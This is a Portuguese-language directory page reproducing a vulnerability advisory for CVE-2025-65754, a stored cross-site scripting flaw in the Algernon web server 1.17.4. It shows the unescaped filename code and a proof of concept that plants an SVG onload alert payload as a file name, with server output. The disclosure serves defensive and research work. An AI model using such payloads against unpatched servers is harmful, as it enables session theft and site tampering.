Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-65754 — O Algernon v1.17.4 é afetado por uma vulnerabilidade de Cross-Site Scripting (XSS) que permite que atacantes executem código arbitrário através de um payload malicioso em um nome de arquivo. | Kitploit
Ferramentas/GitHubGitHub/bnyt7/cve-2025-65754
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubbnyt7/cve-2025-65754

CVE-2025-65754

O Algernon v1.17.4 é afetado por uma vulnerabilidade de Cross-Site Scripting (XSS) que permite que atacantes executem código arbitrário através de um payload malicioso em um nome de arquivo.

Ver Repositório
1há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-65754 : XSS Armazenado no Algernon 1.17.4

Descrição

Algernon v1.17.4 é afetado por uma vulnerabilidade de Cross-Site Scripting (XSS) que permite que atacantes executem código arbitrário através de um payload malicioso em um nome de arquivo.

  • Projeto Afetado : Algernon - 1.17.4
  • Mantenedor do Projeto : Alexander F. Rødseth (xyproto)
  • Tipo de Vulnerabilidade : Cross-Site Scripting (XSS)
  • Vetor de Ataque : Um atacante pode enviar arquivos com nomes maliciosos para alterar o conteúdo de um site ou roubar cookies para sequestrar sessões.

Algumas variáveis não foram sanitizadas. Por exemplo :

engine/dirhandler.go linhas 80-108


filename := item.Name()  // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))

themes/html.go linhas 124-132

func HTMLLink(text, url string, isDirectory bool) string {
    if isDirectory {
        text += "/"
        url += "/"
    }
    return "<a href=\"/" + url + "\">" + text + "</a><br>"
    // 'text' (filename) is inserted directly without HTML escaping
}

Nomes de arquivo do sistema de arquivos são inseridos diretamente no HTML sem escape nas listagens de diretório.

PoC

$ algernon -v                                  
Algernon 1.17.4

Em um diretório, crie arquivos com payloads XSS como nomes.

# XSS Payload 1: Simple alert
$touch "test.txt"

# XSS Payload 2: Event handler in filename
$touch "document<svg onload=alert(document.domain)>.svg"

No mesmo repositório, execute a aplicação.

algernon
Server directory:       .
Server address:         :3000
Database:               Bolt (/tmp/algernon.db)
Cache mode:             On
Cache size:             1048576 bytes
TLS certificate:        cert.pem
TLS key:                key.pem
Request limit:          10/sec per visitor
Large file threshold:   44040192 bytes
Large file timeout:     10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/    
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2. 
INFO[0000] Use the -t flag for serving regular HTTP.    
INFO[0000] Serving HTTP on http://localhost:3000/      

Visite a seguinte URL, um alerta aparecerá.

Alerta XSS com onerror

Alerta XSS com localização do documento

arquivos

Este problema foi corrigido na versão v1.17.5.

Referências

  • https://algernon.roboticoverlords.org/
  • https://github.com/xyproto/algernon/releases/tag/v1.17.5
  • https://github.com/xyproto/algernon/commit/cd8832014a624a9aeab60566434c3344135e23f8

Descoberto por : Benoit H. (Bnyt7)

Baixar ferramenta